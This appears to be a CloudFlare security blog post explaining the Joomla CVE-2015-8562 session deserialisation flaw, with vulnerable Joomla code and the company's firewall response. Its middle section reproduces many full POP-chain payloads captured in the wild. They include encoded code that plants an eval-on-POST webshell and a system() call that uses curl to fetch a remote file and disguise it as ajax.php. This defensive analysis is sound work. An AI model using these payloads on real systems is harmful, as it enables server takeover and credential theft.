At CloudFlare, we spend a lot of time talking about the PoPs (Points of Presence) we have around the globe, however, on December 14th, another kind of POP came to the world: a vulnerability being exploited in the wild against Joomla’s Content Management System. This is known as a zero day attack, where it has been zero days since a patch has been released for that bug. A CVE ID has been issued for this particular vulnerability as CVE-2015-8562. Jaime Cochran and I decided to take a closer look.
In this blog post we’ll explain what the vulnerability is, give examples of actual attack payloads we’ve seen, and show how CloudFlare automatically protects Joomla users. If you are using Joomla with CloudFlare today and have our WAF enabled, you are already protected.
The Joomla Web Application Firewall rule set is enabled by default for CloudFlare customers with a Pro or higher plan, which blocks this attack. You can find it in the Joomla section of the CloudFlare Rule Set in the WAF Dashboard.
What is Joomla?
Joomla is an open source Content Management System which allows you to build web applications and control every aspect of the content of your website. Some of these resources include photos, videos, text, and documents to name just a few. As one can imagine, this is a high value target if an attacker can gain access to the admin control panel.
The Unserialize Vulnerability
The vulnerability is a bug class that is inherent in most languages including Java, Python’s pickle, C’s unmarshalling, Ruby (CVE-2013-0333), and many others. This class of vulnerability is not new but has recently piqued the security world’s interest after an excellent blog written by @breenmachine was published. Like many vulnerabilities in CMS/framework software, remote code execution is achieved, meaning a usually unauthenticated attacker can execute arbitrary code from afar, leading to the acquisition of sensitive information, a shell, and eventually a full system compromise.
So how is remote code execution achieved? There are two poorly sanitized inputs that can be controlled by a user, one being the User-Agent
header and the other being the X-Forwarded-For
header, which are then stored as part of the session.client.browser
and session.client.forwarded
objects, serialized, and inserted in Joomla’s MySQL database.
These request headers must contain malicious data known as a "POP Chain" (Property Oriented Programming). POP chains, similar to their older cousin ROP (Return Oriented Programming) are constructed of a series of “magic PHP methods” that already exist in the code, which is why these kinds of attacks are often referred to as code reuse. An attacker must link these methods together in order to achieve their desired code execution.
The POP chain is then sent from the attacker in either the User-Agent
or X-Forwarded-For header
, the attacker saves the session cookie that is returned upon completion of the request. From what we have noticed, most of these POP chains run eval()
on the POST data, but not all of them, as you can also run a chr()
encoded string into eval()
that will execute all the bad PHP calls: system()
, popen()
, exec()
, passthru()
, shell_exec()
, etc. Here is an example of part of the exploit payload:
eval(base64_decode($_POST[111]))
Now, you may be wondering how this is exploited if the initial request isn’t a POST request. That is the next part of the exploit, after grabbing the session cookie value, the attacker sends a subsequent request with the session cookie set. The previous request’s User-Agent
or X-Forwarded-For
header was inserted into the MySQL database and is unserialized on the subsequent request. The trick is appending four UTF-8 characters to the end of the payload (such as: \xf0\xfd\xfd\xfd
) which will truncate the payload, allowing the code to execute. Crafting a successful payload also involves calculating the size of the payload and inserting it before the eval() as such:
s:221:"eval(base64_decode($_POST[111]))
or the exploit will fail. We have been able to successfully exploit both the vulnerable headers, using multiple variations of POP chains in our test environment.
More importantly, we’ve been able to block them too.
The Vulnerable Code
In this section, we’ll go through the code path taken to exploit this vulnerability starting with session.php, where sessions are created. If you look at lines 909 and 932, you will see that the unsanitized User-Agent
and X-Forwarded-For
headers are set to session.client.browser
and session.client.forwarded
.
909: if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
910: {
911: $this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
912: }
<-->
932: if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
933: {
934: $browser = $this->get('session.client.browser');
935: if ($browser === null)
936: {
937: $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
938: }
PHP has a unique way of handling sessions, which actually serializes and deserializes session objects: PHP’s session handler object is created and saved here:
public function write($id, $data)
{
try
{
$query = $this->db->getQuery(true);
$query->update($this->db->quoteName('#__session'))
->set($this->db->quoteName('data') . ' = ' . $this->db->quote($data))
->set($this->db->quoteName('time') . ' = ' . $this->db->quote((int) time()))
->where($this->db->quoteName('session_id') . ' = ' . $this->db->quote($id));
// Try to update the session data in the database table.
$this->db->setQuery($query);
if (!$this->db->execute())
{
return false;
}
// Since $this->db->execute did not throw an exception the query was successful.
// Either the data changed, or the data was identical. In either case we are done.
return true;
}
catch (\Exception $e)
{
return false;
}
}
and then popped from the database here:
public function read($id)
{
// Get the database connection object and verify its connected.
$db = JFactory::getDbo();
try
{
// Get the session data from the database table.
$query = $db->getQuery(true)
->select($db->quoteName('data'))
->from($db->quoteName('#__session'))
->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
$db->setQuery($query);
$result = (string) $db->loadResult();
$result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);
return $result;
}
catch (Exception $e)
{
return false;
}
}
As per the PHP documentation: "The value returned will be unserialized automatically by PHP and used to populate the $_SESSION
superglobal." So the session_id
is pulled from the database, unserialized, and if the POP chain was constructed correctly, it will execute the malicious code.
What we see with our Web Application Firewall
After writing a ruleset specifically to block this attack and making it block by default for all our customers, we saw a very large number of requests that triggered the ruleset. This shows malicious actors trying to directly exploit Joomla installs:
As you can see, the amount of requests that have been blocked spike greatly when public exploits were released. Here is a small sample of the different payloads we’re seeing since public exploits were released a day ago:
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ellyel8'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?
[ Payload ]: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:60:"eval(base64_decode($_POST[111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?
[ Payload ]: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:954:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(112).chr(111).chr(110).chr(101).chr(110).chr(116).chr(115).chr(59).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(95).chr(109).chr(101).chr(100).chr(105).chr(97).chr(59).chr(114).chr(109).chr(32).chr(45).chr(114).chr(102).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(117).chr(114).chr(108).chr(32).chr(45).chr(79).chr(32).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(116).chr(105).chr(112).chr(116).chr(111).chr(112).chr(99).chr(111).chr(109).chr(46).chr(116).chr(118).chr(47).chr(98).chr(108).chr(111).chr(103).chr(47).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(109).chr(118).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(32).chr(97).chr(106).chr(97).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}
[ Payload ]: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:954:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(112).chr(111).chr(110).chr(101).chr(110).chr(116).chr(115).chr(59).chr(99).chr(100).chr(32).chr(99).chr(111).chr(109).chr(95).chr(109).chr(101).chr(100).chr(105).chr(97).chr(59).chr(114).chr(109).chr(32).chr(45).chr(114).chr(102).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(99).chr(117).chr(114).chr(108).chr(32).chr(45).chr(79).chr(32).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(116).chr(105).chr(112).chr(116).chr(111).chr(112).chr(99).chr(111).chr(109).chr(46).chr(116).chr(118).chr(47).chr(98).chr(108).chr(111).chr(103).chr(47).chr(107).chr(46).chr(116).chr(120).chr(116).chr(59).chr(109).chr(118).chr(32).chr(107).chr(46).chr(116).chr(120).chr(116).chr(32).chr(97).chr(106).chr(97).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}
[ Payload ]: sjeua}__eusmxa|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:61:"eval(base64_decode($_POST[1111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}
[ Payload ]: sjeua}__eusmxa|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:61:"eval(base64_decode($_POST[1111]));JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?
[ Payload ]: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:221:"eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoZGlybmFtZSgkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pLicvbGlicmFyaWVzL29uZV93b3JkLnBocCcsICc8P3BocCBldmFsKCRfUE9TVFtcJ2plcnJ5NDZcJ10pOz8+Jyk7'));phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}?
[ Payload ]: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:59:"eval(base64_decode($_POST[200]));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}?
As you can see, there are a few different payloads being used. Specifically, the payloads using chr()
in eval()
are from the public exploit released on PasteBin yesterday, December 15th, along with a metasploit module. Some payloads translate to:
system('cd components;cd com_media;rm -rf k.txt;curl -O http://tiptopcom.tv/blog/k.txt;mv k.txt ajax.php');
This is a simple example where an attacker tries to find a writable directory, retrieves a malicious file from a remote (most likely a compromised computer) and disguises it as a seemingly innocuous PHP file. The file is known as a webshell and gives the attacker a way to easily execute code and a very small amount of persistence. But, this is only a very basic example of what an attacker might do.
We have found some payloads that classically extract credentials from the Joomla configuration file or attempt to spawn a connectback shell, which is a technique that makes the target computer send an outbound connection to an attacker controlled computer, allowing them to operate as if they had terminal access to the computer. This is often used when a target does not have an attacker-friendly environment (such as properly jailed user accounts and read-only directories). The original zero day was using a webshell dropping payload that cleverly patched the User-Agent
bug behind itself.
Since the first public exploit was released, our WAF has blocked 16,413 attacks and counting.